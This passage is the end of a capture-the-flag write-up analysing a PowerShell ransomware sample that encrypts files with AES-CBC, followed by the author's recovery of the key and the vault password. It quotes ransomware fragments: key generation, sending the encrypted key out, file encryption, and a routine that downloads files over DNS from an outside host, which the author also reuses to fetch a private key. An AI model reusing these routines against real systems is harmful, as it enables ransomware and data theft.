Let's see if we can also find the hash. The length is 40 in this case.

We get one match with len == 40.


This should be the SHA-1 hash of one of the above. But it's not. So either our keys are wrong or the hash is wrong.

Google doesn't give me anything when I search for the hash, so it's not the SHA-1 hash of anything popular.

Encryption Analysis

Those are not the key, let's look at the cleaned malware to figure out how encryption happens inside wannacookie/wanc function.

GetOverDNS downloads files over DNS. First, it downloads server.crt which is a normal root CA.

# get server.crt, it will use its public key to encrypt the key before sending them out.
# 7365727665722E637274 == server.crt
$p_k = [System.Convert]::FromBase64String($(GetOverDNS ("7365727665722E637274")))

Then it generates a 16 byte random AES key, converts it to hex and creates the SHA-1 hash of it:

# generate a "random" 16-byte encryption key.
$key = ([System.Text.Encoding]::Unicode.GetBytes($(([char[]]([char]01..[char]255) + ([char[]]([char]01..[char]255)) + 0..9 | sort {Get-Random})[0..15] -join '')) | Where-Object {$_ -ne 0x00 })
# encryption key converted to hex.
$keyHex = $(ByteToHex $key)
# keep a hash of encryption key for decryption later, if later the script gets a key, it will compare the hashes first.
$keyHash = $(SHA1 $keyHex)

Then it uses the public key of the certificate to encrypt it and then sends it out:

# encrypt the encryption key with public key from the certificate.
$encryptedKey = (PublicKeyEncrypt $key $p_k).ToString()
# send the encrypted key out.
$c_id = (SendKey $encryptedKey)

This is actually a good way to store the keys. Because even if we can reverse the encryption algorithm, we cannot decrypt the encrypted keys w/o having access to the private key.

server.crt is a normal DER-encoded x509 certificate and does not have the private key. But we got a hint in challenge 8 about file names inside app.js:

key: fs.readFileSync(__dirname + '/keys/server.key'),
cert: fs.readFileSync(__dirname + '/keys/server.crt'),

What if we called GetOverDNS('server.key')? This is my modified GetOverDNS that stores the output in a file of the same name w/o interrupting the malware.

# modified function.
function GetOverDNS ($f) {
    $godnsarg = "Called GetOverDNS({0})" -f (HexToASCII $f | Out-String).Trim()
    Write-Host $godnsarg
    $h = ''
    foreach ($i in 0..([convert]::ToInt32($(Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).Strings,10) - 1)) {
        Start-Sleep -m 50
        $h += $(Resolve-DnsName -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT).Strings 
    (HexToASCII $h) | Out-String | Out-File -FilePath (HexToASCII $f | Out-String).Trim()
    Write-Host "Return from GetOverDNS"
    return (HexToASCII $h)

Now we can call GetOverDNS('server.key') and get the private key:

// removed

The header indicates the key is in the PKCS8 format. If the key was PKCS1, the header would have said BEGIN RSA PRIVATE KEY.

These files are stored in UTF-16, we can convert them to ASCII using PowerShell:

Get-Content .\server.key | Out-File -Encoding ASCII server-ascii.key

What is the AES key used for? It's used to encrypt elfdb files as seen in EncryptDecryptFile:

function EncryptDecryptFile ($key,$File,$enc_it) {
    [byte[]]$key = $key
    $Suffix = "`.wannacookie"
    [System.Int32]$KeySize = $key.Length * 8
    $AESP = New-Object 'System.Security.Cryptography.AesManaged'
    $AESP.Mode = [System.Security.Cryptography.CipherMode]::CBC
    $AESP.BlockSize = 128
    $AESP.KeySize = $KeySize
    $AESP.Key = $key
    $FileSR = New-Object System.IO.FileStream ($File,[System.IO.FileMode]::Open)
    if ($enc_it) {
        $DestFile = $File + $Suffix 
    } else {
        $DestFile = ($File -replace $Suffix) 
    $FileSW = New-Object System.IO.FileStream ($DestFile,[System.IO.FileMode]::Create)
    if ($enc_it) {
        # generate IV - 16 bytes
        # write length of IV (16 or 10 00 00 00) to file
        # write IV to file
        $Transform = $AESP.CreateEncryptor() 
    } else {
    // removed

It uses AES-CBC to encrypt the files. But it stores some data at the beginning of the files:

  • First four bytes contain the length of IV in big-endian. For AES it's always 16 (0x10).
  • Next n bytes are the IV (where n is the length from the first four bytes).
  • Finally, the encrypted file.

Decrypting the Vault

We have the private key, now we need to use it to decrypt the encrypted AES key.

I have created a Go program called decrypt.go that does it. It's looking for hardcoded files because creating something that reads values from the command line was useless in this exercise.

How can we find the encrypted AES key?

In the memory dump search for hex encoded bytes of size 512 (that is the size of a padded RSA encrypted 16-byte payload):

  • matches "^[a-fA-F0-9]+$"
  • len == 512

And we have one match:


After decrypting it with RSA with OAEP padding. We get a 16 byte AES key.

We could also create a pfx/pkcs12 file by combining the certificate and key but it's not necessary. We can accomplish it with certutil or OpenSsl. Certutil assumes key is in server.key (if we had passed myserver.crt, it would have looked for the key in myserver.key):

$ certutil.exe -MergePFX .\server.crt server.pfx
Signature test passed
Enter new password for output file server.pfx:
Enter new password:
Confirm new password:
CertUtil: -MergePFX command completed successfully.

Using OpenSSL:

openssl.exe pkcs12 -export -out server.pfx -inkey server-ascii.key -in server-ascii.crt
WARNING: can't open config file: /usr/local/ssl/openssl.cnf
Enter Export Password:
Verifying - Enter Export Password:
unable to write 'random state'

To decrypt the files with OpenSSL we can use.

openssl pkeyutl -decrypt -inkey server-ascii.key -in encrypted -out decrypted -pkeyopt rsa_padding_mode:oaep
WARNING: can't open config file: /usr/local/ssl/openssl.cnf

Now we need to decrypt the password file with this AES key.

Looking at the PowerShell script we can see it's using AES-CBC. This gives us the file encryption key:

  • FBCFC121915D99CC20A3D3D5D84F8308

After decrypting the file, we can see it's a SQLite database file. It starts with SQLite format 3. Opening it gives us the password for the vault and some other places. Alabaster is an anon.

  • The password for the vault is ED#ED#EED#EF#G#F#G#ABA#BA#B.

10. Who Is Behind It All?

The answer is Santa. He wanted us to help defend the castle so he made up the challenges. Hans was pretending to be the villain and the toy soldiers are elves in disguise.

"Based on your victory… next year, I’m going to ask for your help in defending my whole operation from evil bad guys."

I guess next year's challenge is mostly blue team stuff? Sounds fun.

The piano door is based on notes. We can use the PDF from challenge 8 to figure it out. It's the one that Holly sent to Alabaster. His original password does not work on the door because it has been modified based on the instructions.

We know his favorite key is D (from the text of Holly's email from challenge 8). We need to go from E to D which is one step or two keys to the left. So we will use the PDF to do it.

The door code is:

  • D C# D C# D D C# D E F# E F# G A G# A G# A


This was fun, hope you enjoyed it as much as I did.